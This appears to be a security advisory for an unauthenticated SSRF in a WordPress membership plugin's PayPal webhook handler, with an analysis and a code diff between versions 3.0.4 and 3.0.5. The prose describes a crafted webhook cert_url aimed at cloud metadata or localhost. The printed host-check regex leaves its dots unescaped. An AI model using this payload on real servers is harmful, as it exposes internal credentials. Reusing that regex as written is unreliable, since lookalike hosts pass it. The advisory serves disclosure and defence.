Published : July 20, 2026

CVE-2026-57348: Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction <= 3.0.4 Unauthenticated Server-Side Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 918
Vulnerable Version 3.0.4
Patched Version 3.0.5
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57348:

This vulnerability is a Server-Side Request Forgery (SSRF) in the Paid Membership Subscriptions WordPress plugin. The flaw exists within the PayPal Connect gateway implementation in the file `/includes/gateways/paypal_connect/class-payment-gateway-paypal-connect.php`. An unauthenticated attacker can trigger the plugin to make outbound HTTP requests to arbitrary destinations. The CVSS score of 6.1 reflects the potential to probe and interact with internal services.

The root cause lies in the `get_cached_cert()` function and its predecessor. The original code used a certificate URL from a PayPal webhook request without verifying that the URL points to a legitimate PayPal server. The `get_cached_cert()` function downloaded a certificate from the URL provided in the PayPal webhook payload. The function `wp_remote_get($cert_url)` would follow redirects and fetch content from any destination. The unpatched code only performed a file existence check on a locally cached copy. The patched version introduces `is_allowed_paypal_webhook_cert_url()` which validates the scheme is HTTPS, the host ends with paypal.com, the path begins with `/v1/notifications/certs/`, and no userinfo, query, or fragment is present.

An attacker with no authentication can send a crafted POST request to `/wp-admin/admin-ajax.php` with the action parameter set to a PayPal Connect webhook handler. The plugin registers an AJAX action accessible to unauthenticated users for processing incoming PayPal webhook events. In the webhook payload, the attacker includes a `cert_url` field pointing to an internal network resource such as `http://169.254.169.254/latest/meta-data/` (AWS metadata) or `http://localhost/wp-admin/`. The `get_cached_cert()` function processes this URL by calling `wp_remote_get()` causing the server to fetch from the attacker-specified internal endpoint.

The patch adds the `is_allowed_paypal_webhook_cert_url()` validation function which performs strict URL filtering. The certificate URL must be HTTPS, target a paypal.com domain, and follow the exact path pattern for PayPal certificate endpoints. Additionally, the patch changes the caching mechanism from file-based (potentially accessible to attackers) to transient-based storage. The `reject_unsafe_urls` parameter is now passed to `wp_remote_get()` and the response is validated to ensure it contains a valid certificate marker.

A successful SSRF exploitation allows an attacker to scan internal network services behind the server firewall. The attacker can read cloud metadata from cloud provider endpoints (AWS, GCP, Azure) which often contain credentials, access tokens, and configuration secrets. This could lead to complete compromise of cloud-hosted databases, storage buckets, and other infrastructure. Internal web applications and services could be probed for vulnerabilities, and in some configurations, the attacker could potentially modify internal service state by sending crafted requests.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/paid-member-subscriptions/includes/admin/class-admin-members.php
+++ b/paid-member-subscriptions/includes/admin/class-admin-members.php
@@ -840,6 +840,9 @@
             case 'subscription_expired':
                 $message = __( 'Subscription expired.', 'paid-member-subscriptions' );
                 break;
+            case 'subscription_expired_automatically':
+                $message = __( 'Subscription expired (status check system).', 'paid-member-subscriptions' );
+                break;
             case 'subscription_renewed_manually':

                 if( !empty( $log['data']['until'] ) )
--- a/paid-member-subscriptions/includes/admin/class-admin-subscriptions-list-table.php
+++ b/paid-member-subscriptions/includes/admin/class-admin-subscriptions-list-table.php
@@ -384,7 +384,9 @@
                 $search_where[] = $wpdb->prepare( 'subscriptions.id = %d', (int)$search_term );

             $search_where[] = $wpdb->prepare( 'users.user_login LIKE %s', $search_like );
+            $search_where[] = $wpdb->prepare( 'users.user_email LIKE %s', $search_like );
             $search_where[] = $wpdb->prepare( 'plans.post_title LIKE %s', $search_like );
+            $search_where[] = $wpdb->prepare( 'subscriptions.payment_profile_id LIKE %s', $search_like );

             $query_where .= ' AND ( ' . implode( ' OR ', $search_where ) . ' )';

--- a/paid-member-subscriptions/includes/admin/views/view-page-addons.php
+++ b/paid-member-subscriptions/includes/admin/views/view-page-addons.php
@@ -177,6 +177,13 @@
             'icon'        => 'pms-add-on-tax-logo.png',
             'doc_url'     => 'https://www.cozmoslabs.com/docs/paid-member-subscriptions/add-ons/tax-eu-vat/?utm_source=pms-addons-pro&utm_medium=client-site&utm_campaign=pms-tax-eu-vat-addon',
         ),
+        array(  'slug' => 'pms-add-on-authorize-net/index.php',
+            'type'        => 'add-on',
+            'name'        => __( 'Authorize.Net', 'paid-member-subscriptions' ),
+            'description' => __( 'Collect credit and debit card payments for your membership plans with Authorize.Net, including recurring subscriptions and renewals.', 'paid-member-subscriptions' ),
+            'icon'        => 'pms-add-on-authorize-net-logo.svg',
+            'doc_url'     => 'https://www.cozmoslabs.com/docs/paid-member-subscriptions/?utm_source=pms-addons-pro&utm_medium=client-site&utm_campaign=pms-authorize-net-addon',
+        ),
         array(  'slug' => 'pms-add-on-mailchimp/index.php',
                 'type'        => 'add-on',
                 'name'        => __( 'Mailchimp', 'paid-member-subscriptions' ),
--- a/paid-member-subscriptions/includes/admin/views/view-page-basic-info.php
+++ b/paid-member-subscriptions/includes/admin/views/view-page-basic-info.php
@@ -399,6 +399,18 @@
             </div>

             <div>
+                <a href="https://www.cozmoslabs.com/docs/paid-member-subscriptions/?utm_source=pms-basic-info&utm_medium=client-site&utm_campaign=pms-authorize-net-addon" target="_blank">
+                    <h4 class="pms-add-on-name"><?php esc_html_e( 'Authorize.Net', 'paid-member-subscriptions' ); ?></h4>
+                </a>
+
+                <a href="https://www.cozmoslabs.com/docs/paid-member-subscriptions/?utm_source=pms-basic-info&utm_medium=client-site&utm_campaign=pms-authorize-net-addon" target="_blank" class="pms-addon-image-container">
+                    <img src="<?php echo esc_url( PMS_PLUGIN_DIR_URL ); ?>assets/images/add-on-authorize-net.png" alt="<?php esc_attr_e( 'Authorize.Net', 'paid-member-subscriptions' ); ?>" class="pms-addon-image" />
+                </a>
+
+                <p class="cozmoslabs-description"><?php esc_html_e( 'Collect credit and debit card payments for your membership plans with Authorize.Net, including recurring subscriptions and renewals.', 'paid-member-subscriptions' ); ?></p>
+            </div>
+
+            <div>
                 <a href="https://www.cozmoslabs.com/add-ons/pro-rate/?utm_source=pms-basic-info&utm_medium=client-site&utm_campaign=pms-pro-rate-addon" target="_blank">
                     <h4 class="pms-add-on-name"><?php esc_html_e( 'Pro Rate', 'paid-member-subscriptions' ); ?></h4>
                 </a>
--- a/paid-member-subscriptions/includes/admin/views/view-page-members-add-new-edit-subscription.php
+++ b/paid-member-subscriptions/includes/admin/views/view-page-members-add-new-edit-subscription.php
@@ -243,7 +243,7 @@

                             if( $member_subscription->is_auto_renewing() ){

-                                if( ( in_array( $member_subscription->payment_gateway, array( 'stripe_intents', 'stripe_connect', 'paypal_connect' ) ) || ( $member_subscription->payment_gateway == 'paypal_express' && !empty( $settings['gateways']['paypal']['reference_transactions'] ) ) ) )
+                                if( ( in_array( $member_subscription->payment_gateway, array( 'stripe_intents', 'stripe_connect', 'paypal_connect', 'authorize_net' ) ) || ( $member_subscription->payment_gateway == 'paypal_express' && !empty( $settings['gateways']['paypal']['reference_transactions'] ) ) ) )
                                     $hide_expiration_date = true;
                                 elseif ( $plan->is_fixed_period_membership() && $plan->fixed_period_renewal_allowed() )
                                     $hide_expiration_date = true;
--- a/paid-member-subscriptions/includes/admin/views/view-page-payments-add-new-edit.php
+++ b/paid-member-subscriptions/includes/admin/views/view-page-payments-add-new-edit.php
@@ -289,6 +289,18 @@
                             $transaction_url = 'https://dashboard.stripe.com/payments/' . $payment->transaction_id;
                         }

+                    } else if( $payment->payment_gateway === 'authorize_net' ){
+
+                        // "profile_<id>" is stored for zero-amount trial payments that only create a
+                        // customer profile and have no gateway transaction record to link to.
+                        if( strpos( $payment->transaction_id, 'profile_' ) !== 0 ){
+                            if( $test_mode ){
+                                $transaction_url = 'https://sandbox.authorize.net/ui/themes/sandbox/transaction/TransactionReceipt.aspx?transid=' . $payment->transaction_id;
+                            } else {
+                                $transaction_url = 'https://account.authorize.net/ui/themes/anet/Transaction/TransactionReceipt.aspx?transid=' . $payment->transaction_id;
+                            }
+                        }
+
                     }

                 }
--- a/paid-member-subscriptions/includes/class-ajax-checkout.php
+++ b/paid-member-subscriptions/includes/class-ajax-checkout.php
@@ -26,6 +26,7 @@
         $this->supported_gateways = [
             'stripe_connect',
             'paypal_connect',
+            'authorize_net',
         ];

         // only load if the active gateways include one of the supported gateways
@@ -640,6 +641,10 @@
             'subscription_plans',
             'pms_default_recurring',
             'discount_code',
+            'pms_billing_first_name',
+            'pms_billing_last_name',
+            'pms_billing_email',
+            'pms_billing_company',
             'pms_billing_address',
             'pms_billing_city',
             'pms_billing_zip',
--- a/paid-member-subscriptions/includes/class-form-handler.php
+++ b/paid-member-subscriptions/includes/class-form-handler.php
@@ -491,6 +491,14 @@

         }

+        // Validate if the payment gateway supports pay in installments for the selected subscription plan
+        if( $subscription_plan->has_installments() ) {
+
+            if( ! $payment_gateway->supports( 'billing_cycles' ) )
+                pms_errors()->add( 'form_general', __( 'Something went wrong. The selected payment gateway does not support paying in installments.', 'paid-member-subscriptions' ) );
+
+        }
+
         // Validate fields for the payment gateway
         if( method_exists( $payment_gateway , 'validate_fields' ) )
             $payment_gateway->validate_fields();
@@ -794,6 +802,9 @@
         if( ! in_array( $member_subscription->id, $member->get_subscription_ids() ) )
             return;

+        if( $member_subscription->status !== 'active' || ! $member_subscription->is_auto_renewing() )
+            return;
+
         // Remove subscription if confirm button was pressed
         if( isset( $_POST['pms_confirm_cancel_subscription'] ) ) {

--- a/paid-member-subscriptions/includes/class-member-subscription.php
+++ b/paid-member-subscriptions/includes/class-member-subscription.php
@@ -346,12 +346,17 @@

             if( !empty( $this->expiration_date ) && $this->expiration_date != '0000-00-00 00:00:00' && $expiration_date < time() ) {

-                // Expire the subscription
-                $this->update( array( 'status' => 'expired' ) );
+                // Auto-renewing guard does not apply to PayPal Standard / Express (24h adjustment + legacy expire behavior).
+                if( in_array( $this->payment_gateway, array( 'paypal_standard', 'paypal_express' ), true ) || ! $this->is_auto_renewing() ) {

-                pms_add_member_subscription_log( $this->id, 'subscription_expired' );
+                    // Expire the subscription
+                    $this->update( array( 'status' => 'expired' ) );

-                return $this->status;
+                    pms_add_member_subscription_log( $this->id, 'subscription_expired_automatically' );
+
+                    return $this->status;
+
+                }

             }
         }
--- a/paid-member-subscriptions/includes/class-plugin-scheduled-payments-scheduler.php
+++ b/paid-member-subscriptions/includes/class-plugin-scheduled-payments-scheduler.php
@@ -18,6 +18,8 @@
 	const TICK_HOOK = 'pms_recurring_payments_tick';
 	const JOB_HOOK  = 'pms_process_member_subscription_renewal';

+	const ENSURE_TICK_CACHE_KEY = 'pms_recurring_payments_tick_ensure_checked';
+
 	/**
 	 * @var self|null
 	 */
@@ -40,16 +42,17 @@

 		add_action( self::TICK_HOOK, array( $this, 'tick' ) );
 		add_action( self::JOB_HOOK, array( $this, 'run_subscription_job' ), 10, 1 );
-		add_action( 'init', array( $this, 'maybe_sync_on_init' ), 20 );
+		add_action( 'init', array( $this, 'maybe_clear_legacy_cron_on_init' ), 20 );
+		add_action( 'action_scheduler_ensure_recurring_actions', array( $this, 'maybe_ensure_recurring_tick_scheduled' ) );
 		add_action( 'update_option_pms_misc_settings', array( $this, 'on_misc_settings_updated' ), 10, 2 );
 	}

 	/**
-	 * If Action Scheduler mode is on, clear stray legacy renewal cron and ensure the recurring action exists.
+	 * When Action Scheduler mode is on, clear stray legacy WP-Cron renewal events.
 	 *
 	 * @return void
 	 */
-	public function maybe_sync_on_init() {
+	public function maybe_clear_legacy_cron_on_init() {

 		if ( ! pms_is_scheduled_payments_action_scheduler_enabled() ) {
 			return;
@@ -58,8 +61,22 @@
 		if ( wp_next_scheduled( 'pms_cron_process_member_subscriptions_payments' ) ) {
 			wp_clear_scheduled_hook( 'pms_cron_process_member_subscriptions_payments' );
 		}
+	}
+
+	/**
+	 * Ensure the hourly tick exists when Action Scheduler runs its daily ensure hook.
+	 *
+	 * @return void
+	 */
+	public function maybe_ensure_recurring_tick_scheduled() {
+
+		if ( false !== wp_cache_get( self::ENSURE_TICK_CACHE_KEY, self::GROUP ) ) {
+			return;
+		}

 		$this->ensure_recurring_action_scheduled();
+
+		wp_cache_set( self::ENSURE_TICK_CACHE_KEY, true, self::GROUP, HOUR_IN_SECONDS );
 	}

 	/**
@@ -92,7 +109,7 @@
 		$interval = (int) apply_filters( 'pms_recurring_payments_tick_interval', HOUR_IN_SECONDS );
 		$interval = max( 60, $interval );

-		as_schedule_recurring_action( time(), $interval, self::TICK_HOOK, array(), self::GROUP );
+		as_schedule_recurring_action( time(), $interval, self::TICK_HOOK, array(), self::GROUP, true );
 	}

 	/**
@@ -142,13 +159,13 @@
 	}

 	/**
-	 * Query due subscriptions and enqueue unique async renewal jobs.
+	 * Query due subscriptions and enqueue async renewal jobs.
 	 *
 	 * @return void
 	 */
 	public function tick() {

-		if ( ! pms_is_scheduled_payments_action_scheduler_enabled() || ! function_exists( 'as_enqueue_async_action' ) ) {
+		if ( ! pms_is_scheduled_payments_action_scheduler_enabled() || ! function_exists( 'as_enqueue_async_action' ) || ! function_exists( 'as_has_scheduled_action' ) ) {
 			return;
 		}

@@ -190,9 +207,15 @@
 					continue;
 				}

+				$job_args = array( (int) $subscription->id );
+
+				if ( as_has_scheduled_action( self::JOB_HOOK, $job_args, self::GROUP ) ) {
+					continue;
+				}
+
 				as_enqueue_async_action(
 					self::JOB_HOOK,
-					array( (int) $subscription->id ),
+					$job_args,
 					self::GROUP,
 					false
 				);
--- a/paid-member-subscriptions/includes/features/discount-codes/index.php
+++ b/paid-member-subscriptions/includes/features/discount-codes/index.php
@@ -737,7 +737,7 @@
  */
 function pms_in_dc_update_stripe_free_trial_discount_data( $subscription, $form_location ){

-    if( !isset( $_POST['discount_code'] ) || empty( $subscription->subscription_plan_id ) || !in_array( $subscription->payment_gateway, [ 'stripe_connect', 'stripe_intents', 'paypal_connect' ] ) )
+    if( !isset( $_POST['discount_code'] ) || empty( $subscription->subscription_plan_id ) || !in_array( $subscription->payment_gateway, [ 'stripe_connect', 'stripe_intents', 'paypal_connect', 'authorize_net' ] ) )
         return;

     $code = sanitize_text_field( $_POST['discount_code'] );
--- a/paid-member-subscriptions/includes/functions-content-filtering.php
+++ b/paid-member-subscriptions/includes/functions-content-filtering.php
@@ -707,6 +707,9 @@
     if( ! in_array( $member_subscription->id, $member->get_subscription_ids() ) )
         return $content;

+    if( !$member_subscription->is_auto_renewing() )
+        return $content;
+
     // Get subscription plan
     $subscription_plan = pms_get_subscription_plan( (int)$member_subscription->subscription_plan_id );

--- a/paid-member-subscriptions/includes/functions-core.php
+++ b/paid-member-subscriptions/includes/functions-core.php
@@ -1177,6 +1177,7 @@
             'stripe_intents',
             'stripe_connect',
             'paypal_connect',
+            'authorize_net',
         ];

         foreach( $gateways as $gateway ){
@@ -1643,8 +1644,8 @@

         if( $current_date > strtotime( $black_friday['start_date'] ) && $current_date < strtotime( $black_friday['end_date'] ) )
             return true;
-
-        return false;
+
+        return apply_filters( 'pms_bf_promotion_is_active', false );

     }

--- a/paid-member-subscriptions/includes/functions-member-subscriptions.php
+++ b/paid-member-subscriptions/includes/functions-member-subscriptions.php
@@ -293,6 +293,30 @@


 /**
+ * Whether the member account should show the Cancel action for a subscription.
+ *
+ * @return bool
+ */
+function pms_member_subscription_should_show_cancel_action( $subscription, $subscription_plan ) {
+
+    if( empty( $subscription_plan ) || empty( $subscription_plan->id ) )
+        return false;
+
+    if( $subscription->status != 'active' || !$subscription->is_auto_renewing() )
+        return false;
+
+    if( $subscription_plan->duration == '0' && ( !$subscription_plan->is_fixed_period_membership() || $subscription_plan->fixed_expiration_date == '' ) )
+        return false;
+
+    if( $subscription_plan->price <= 0 )
+        return false;
+
+    return apply_filters( 'pms_member_subscription_should_show_cancel_action', true, $subscription, $subscription_plan );
+
+}
+
+
+/**
  * Returns the metadata for a given member subscription
  *
  * @param int    $member_subscription_id
--- a/paid-member-subscriptions/includes/functions-page.php
+++ b/paid-member-subscriptions/includes/functions-page.php
@@ -134,15 +134,21 @@
     // get subscription array from the member object
     $member_subscription = $member->get_subscription( (int)$plan_id );

+    if( empty( $member_subscription['id'] ) )
+        return false;
+
     // get Member Subscription object
     $subscription = pms_get_member_subscription( $member_subscription['id'] );

-    // only active subscriptions can be canceled
-    if( $subscription->status != 'active' )
+    if( ! $subscription )
+        return false;
+
+    $subscription_plan = pms_get_subscription_plan( $subscription->subscription_plan_id );
+
+    if( ! pms_member_subscription_should_show_cancel_action( $subscription, $subscription_plan ) )
         return false;

-    // return if subscription is recurring but HTTPS is not detected
-    if( $subscription->is_auto_renewing() && !pms_is_https() )
+    if( ! pms_is_https() )
         return false;

     $url = wp_nonce_url( add_query_arg( array( 'pms-action' => 'cancel_subscription', 'subscription_id' => $subscription->id ), $account_page ), 'pms_member_nonce', 'pmstkn' );
--- a/paid-member-subscriptions/includes/functions-payment.php
+++ b/paid-member-subscriptions/includes/functions-payment.php
@@ -663,13 +663,14 @@
         }

         $subscription_data['billing_next_payment'] = $next_payment;
+        $subscription_data['expiration_date']      = '0000-00-00 00:00:00';

     } else {

         $subscription_data['billing_next_payment'] = null;

         if ( isset( $subscription_plan->id, $subscription_plan->duration ) && $subscription_plan->duration == 0 && ! $subscription_plan->is_fixed_period_membership() ) {
-            $subscription_data['expiration_date'] = '';
+            $subscription_data['expiration_date'] = '0000-00-00 00:00:00';
         }
     }

--- a/paid-member-subscriptions/includes/functions-plugin-scheduled-payments.php
+++ b/paid-member-subscriptions/includes/functions-plugin-scheduled-payments.php
@@ -249,7 +249,7 @@
     $current_time = time();
     $args = array(
         'status'                         => array( 'active' ),
-        'payment_gateway'                => array( 'stripe', 'stripe_intents', 'stripe_connect', 'paypal_connect' ),
+        'payment_gateway'                => array( 'stripe', 'stripe_intents', 'stripe_connect', 'paypal_connect', 'authorize_net' ),
         'billing_next_payment_not_empty' => true,
     );

--- a/paid-member-subscriptions/includes/functions-subscription-plan.php
+++ b/paid-member-subscriptions/includes/functions-subscription-plan.php
@@ -790,6 +790,10 @@
         $subscription_plan_input_data_arr['recurring'] = $subscription_plan->recurring;
     }

+    // Pay in installments (limit payment cycles) — used by front-end to require gateways with data-billing_cycles
+    if( $subscription_plan->has_installments() && pms_payment_gateways_support( pms_get_active_payment_gateways(), 'billing_cycles' ) ) {
+        $subscription_plan_input_data_arr['limit_payment_cycles'] = 'yes';
+    }

     /**
      * Filter extra input data attributes before concatenating them as a string
--- a/paid-member-subscriptions/includes/gateways/functions-payment-gateways.php
+++ b/paid-member-subscriptions/includes/gateways/functions-payment-gateways.php
@@ -39,7 +39,7 @@
             'display_name_admin' => 'Stripe',
             'class_name'         => 'PMS_Payment_Gateway_Stripe_Connect',
             'description'        =>  __( 'Connect your existing Stripe Account or create a new one to start accepting payments.', 'paid-member-subscriptions' )
-        )
+        ),

     ));

@@ -358,6 +358,9 @@
             if( $gateway_obj->supports( 'recurring_payments' ) )
                 $gateway_supports_arr[$gateway_slug]['recurring'] = 1;

+            if( $gateway_obj->supports( 'billing_cycles' ) )
+                $gateway_supports_arr[$gateway_slug]['billing_cycles'] = 1;
+
         }
     }

--- a/paid-member-subscriptions/includes/gateways/paypal_connect/class-payment-gateway-paypal-connect.php
+++ b/paid-member-subscriptions/includes/gateways/paypal_connect/class-payment-gateway-paypal-connect.php
@@ -2060,6 +2060,38 @@
     }

     /**
+     * Whether PAYPAL-CERT-URL points at a PayPal notifications certificate (HTTPS, paypal.com only).
+     *
+     * @param string $cert_url Certificate URL from the webhook request.
+     * @return bool
+     */
+    private function is_allowed_paypal_webhook_cert_url( $cert_url ) {
+
+        if( empty( $cert_url ) )
+            return false;
+
+        $parts = wp_parse_url( $cert_url );
+
+        if( empty( $parts['scheme'] ) || 'https' !== strtolower( $parts['scheme'] ) )
+            return false;
+
+        if( empty( $parts['host'] ) || ! preg_match( '/(^|.)paypal.com$/i', $parts['host'] ) )
+            return false;
+
+        if( empty( $parts['path'] ) || strpos( $parts['path'], '/v1/notifications/certs/' ) !== 0 )
+            return false;
+
+        if( ! empty( $parts['user'] ) || ! empty( $parts['pass'] ) || ! empty( $parts['query'] ) || ! empty( $parts['fragment'] ) )
+            return false;
+
+        if( false === wp_http_validate_url( $cert_url ) )
+            return false;
+
+        return true;
+
+    }
+
+    /**
      * Get cached certificate or download and cache it
      *
      * @param string $cert_url The certificate URL
@@ -2067,34 +2099,32 @@
      */
     private function get_cached_cert( $cert_url ) {

-        $cache_key = md5( $cert_url );
-        $cache_dir = PMS_PLUGIN_DIR_PATH . '/includes/gateways/paypal_connect/cache/';
-        $cache_file = $cache_dir . $cache_key;
-
-        // Check if cached cert exists and is less than 24 hours old
-        if( file_exists( $cache_file ) && ( time() - filemtime( $cache_file ) < ( 2 * DAY_IN_SECONDS ) ) ) {
-            return file_get_contents( $cache_file );
-        }
+        if( ! $this->is_allowed_paypal_webhook_cert_url( $cert_url ) )
+            return false;
+
+        $transient_key = 'pms_ppcp_webhook_cert_' . md5( $cert_url );
+        $cached_cert   = get_transient( $transient_key );
+
+        if( false !== $cached_cert && is_string( $cached_cert ) && $cached_cert !== '' )
+            return $cached_cert;

-        // Download certificate
-        $response = wp_remote_get( $cert_url );
+        $response = wp_remote_get( $cert_url, array(
+            'timeout'            => 10,
+            'reject_unsafe_urls' => true,
+        ) );

         if( is_wp_error( $response ) )
             return false;

+        if( 200 !== wp_remote_retrieve_response_code( $response ) )
+            return false;
+
         $cert = wp_remote_retrieve_body( $response );

-        if( empty( $cert ) )
+        if( empty( $cert ) || false === strpos( $cert, 'BEGIN CERTIFICATE' ) )
             return false;

-        // Create cache directory if it doesn't exist
-        if( !file_exists( $cache_dir ) ) {
-            if( !wp_mkdir_p( $cache_dir ) )
-                return $cert; // Return cert without caching if directory creation fails
-        }
-
-        // Cache the certificate
-        file_put_contents( $cache_file, $cert );
+        set_transient( $transient_key, $cert, 2 * DAY_IN_SECONDS );

         return $cert;

--- a/paid-member-subscriptions/includes/gateways/paypal_standard/functions-paypal-standard.php
+++ b/paid-member-subscriptions/includes/gateways/paypal_standard/functions-paypal-standard.php
@@ -155,6 +155,93 @@
 }

 /**
+ * Whether any active recurring PayPal Standard or PayPal Express subscriptions exist.
+ *
+ * @return bool
+ */
+function pms_has_active_paypal_legacy_subscriptions() {
+
+    global $wpdb;
+
+    $subscription_id = $wpdb->get_var(
+        $wpdb->prepare(
+            "SELECT id FROM {$wpdb->prefix}pms_member_subscriptions
+            WHERE status = %s
+            AND payment_gateway IN ( 'paypal_standard', 'paypal_express' )
+            AND payment_profile_id IS NOT NULL
+            AND payment_profile_id != ''
+            LIMIT 1",
+            'active'
+        )
+    );
+
+    return ! empty( $subscription_id );
+}
+
+/**
+ * PayPal legacy gateways need the merchant email for IPN verification.
+ *
+ * @return bool
+ */
+function pms_check_paypal_legacy_email_missing() {
+
+    if ( pms_get_paypal_email() !== false ) {
+        return false;
+    }
+
+    return pms_has_active_paypal_legacy_subscriptions();
+}
+
+/**
+ * @param array $issues Existing dashboard issues.
+ * @return array
+ */
+function pms_add_paypal_legacy_email_dashboard_issue( $issues ) {
+
+    if ( pms_check_paypal_legacy_email_missing() ) {
+        $issues['paypal_legacy_email_missing'] = true;
+    }
+
+    return $issues;
+}
+add_filter( 'pms_dashboard_issues', 'pms_add_paypal_legacy_email_dashboard_issue' );
+
+/**
+ * @param array|null $interpreted_issue Current interpretation.
+ * @param string     $issue_key         Issue key.
+ * @param array      $issue_data        Raw issue data.
+ * @return array|null
+ */
+function pms_interpret_paypal_legacy_email_dashboard_issue( $interpreted_issue, $issue_key, $issue_data ) {
+
+    if ( $issue_key !== 'paypal_legacy_email_missing' ) {
+        return $interpreted_issue;
+    }
+
+    $settings_url = admin_url( 'admin.php?page=pms-settings-page&tab=payments' );
+
+    return array(
+        'severity'    => 'critical',
+        'title'       => __( 'PayPal Email Address Missing', 'paid-member-subscriptions' ),
+        'description' => sprintf(
+            __( 'You have active subscriptions using %1$s or %2$s, but the PayPal Email Address is not set. Add it in payment settings so Instant Payment Notifications (IPNs) from PayPal can be received and processed.', 'paid-member-subscriptions' ),
+            '<strong>' . esc_html__( 'PayPal Standard', 'paid-member-subscriptions' ) . '</strong>',
+            '<strong>' . esc_html__( 'PayPal Express', 'paid-member-subscriptions' ) . '</strong>'
+        ),
+        'actions'     => array(
+            array(
+                'text'     => __( 'Go to Payments Settings', 'paid-member-subscriptions' ),
+                'url'      => $settings_url,
+                'type'     => 'primary',
+                'target'   => '_self',
+                'behavior' => 'url',
+            ),
+        ),
+    );
+}
+add_filter( 'pms_interpret_dashboard_issue', 'pms_interpret_paypal_legacy_email_dashboard_issue', 10, 3 );
+
+/**
  * Add custom log messages for the PayPal Standard gateway
  *
  */
--- a/paid-member-subscriptions/includes/gateways/stripe/admin/functions-admin-connect.php
+++ b/paid-member-subscriptions/includes/gateways/stripe/admin/functions-admin-connect.php
@@ -622,7 +622,13 @@
 	if( !isset( $_POST['pms_stripe_connect_webhook_secret'] ) )
 		return;

-	if( !current_user_can( 'manage_options' ) )
+	if( ! is_admin() )
+		return;
+
+	if( ! current_user_can( 'manage_options' ) )
+		return;
+
+	if( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), 'pms_payments_settings-options' ) )
 		return;

 	$environment = pms_is_payment_test_mode() ? 'test' : 'live';
--- a/paid-member-subscriptions/includes/views/shortcodes/view-shortcode-account-subscription-details.php
+++ b/paid-member-subscriptions/includes/views/shortcodes/view-shortcode-account-subscription-details.php
@@ -138,10 +138,16 @@
                                             <?php
                                             $assets_src = esc_url( PMS_PLUGIN_DIR_PATH ) . 'assets/images/card-icons/';

-                                            if( !empty( $payment_method_data['pms_payment_method_brand'] ) )
-                                                echo file_get_contents( $assets_src . $payment_method_data['pms_payment_method_brand'] . '.svg' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-                                            else if( !empty( $payment_method_data['pms_payment_method_type'] ) )
-                                                echo file_get_contents( $assets_src . $payment_method_data['pms_payment_method_type'] . '.svg' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+                                            if( !empty( $payment_method_data['pms_payment_method_brand'] ) ) {
+                                                $brand_svg = $assets_src . $payment_method_data['pms_payment_method_brand'] . '.svg';
+                                                if( file_exists( $brand_svg ) )
+                                                    echo file_get_contents( $brand_svg ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+                                            } else if( !empty( $payment_method_data['pms_payment_method_type'] ) ) {
+                                                $type_svg = $assets_src . $payment_method_data['pms_payment_method_type'] . '.svg';
+                                                if( file_exists( $type_svg ) )
+                                                    echo file_get_contents( $type_svg ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+                                            }
+
                                             ?>
                                         </span>
                                     <?php endif; ?>
@@ -249,13 +255,11 @@

                         }

-                        if( !pms_is_https() )
-                            $cancel_plan_button = apply_filters( 'pms_output_subscription_plan_action_cancel', '<span class="pms-account-subscription-action-link pms-account-subscription-action-link__cancel" title="'. __( 'This action is not available because your website doesn't have https enabled.', 'paid-member-subscriptions' ) .'">' . __( 'Cancel', 'paid-member-subscriptions' ) . '</span>', $subscription_plan, $subscription->to_array(), $member->user_id );
-                        elseif( $subscription->status == 'active' && (
-                                ( $subscription_plan->duration != '0' || ( $subscription_plan->is_fixed_period_membership() && $subscription_plan->fixed_expiration_date != '' ) )
-                                && ( $subscription_plan->price > 0 )
-                                ) ){
-                            $cancel_plan_button = apply_filters( 'pms_output_subscription_plan_action_cancel', '<a class="pms-account-subscription-action-link pms-account-subscription-action-link__cancel" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'pms-action' => 'cancel_subscription', 'subscription_id' => $subscription->id  ), pms_get_current_page_url( true ) ), 'pms_member_nonce', 'pmstkn' ) ) . '" title="'. __( 'Cancels recurring payments for this subscription, letting it expire at the end of the current period.', 'paid-member-subscriptions' ) .'">' . __( 'Cancel', 'paid-member-subscriptions' ) . '</a>', $subscription_plan, $subscription->to_array(), $member->user_id );
+                        if( pms_member_subscription_should_show_cancel_action( $subscription, $subscription_plan ) ) {
+                            if( !pms_is_https() )
+                                $cancel_plan_button = apply_filters( 'pms_output_subscription_plan_action_cancel', '<span class="pms-account-subscription-action-link pms-account-subscription-action-link__cancel" title="'. __( 'This action is not available because your website doesn't have https enabled.', 'paid-member-subscriptions' ) .'">' . __( 'Cancel', 'paid-member-subscriptions' ) . '</span>', $subscription_plan, $subscription->to_array(), $member->user_id );
+                            else
+                                $cancel_plan_button = apply_filters( 'pms_output_subscription_plan_action_cancel', '<a class="pms-account-subscription-action-link pms-account-subscription-action-link__cancel" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'pms-action' => 'cancel_subscription', 'subscription_id' => $subscription->id  ), pms_get_current_page_url( true ) ), 'pms_member_nonce', 'pmstkn' ) ) . '" title="'. __( 'Cancels recurring payments for this subscription, letting it expire at the end of the current period.', 'paid-member-subscriptions' ) .'">' . __( 'Cancel', 'paid-member-subscriptions' ) . '</a>', $subscription_plan, $subscription->to_array(), $member->user_id );
                         }
                     }

--- a/paid-member-subscriptions/index.php
+++ b/paid-member-subscriptions/index.php
@@ -3,16 +3,16 @@
  * Plugin Name: Paid Member Subscriptions
  * Plugin URI: http://www.cozmoslabs.com/
  * Description: Accept payments, create subscription plans and restrict content on your membership website.
- * Version: 3.0.4
+ * Version: 3.0.5
  * Author: Cozmoslabs
  * Author URI: http://www.cozmoslabs.com/
  * Text Domain: paid-member-subscriptions
  * Domain Path: /translations
  * License: GPL2
  * WC requires at least: 3.0.0
- * WC tested up to: 10.7
- * Elementor tested up to: 3.34
- * Elementor Pro tested up to: 3.34
+ * WC tested up to: 10.8
+ * Elementor tested up to: 4.1.1
+ * Elementor Pro tested up to: 4.1.1
  *
  * == Copyright ==
  * Copyright 2015 Cozmoslabs (www.cozmoslabs.com)
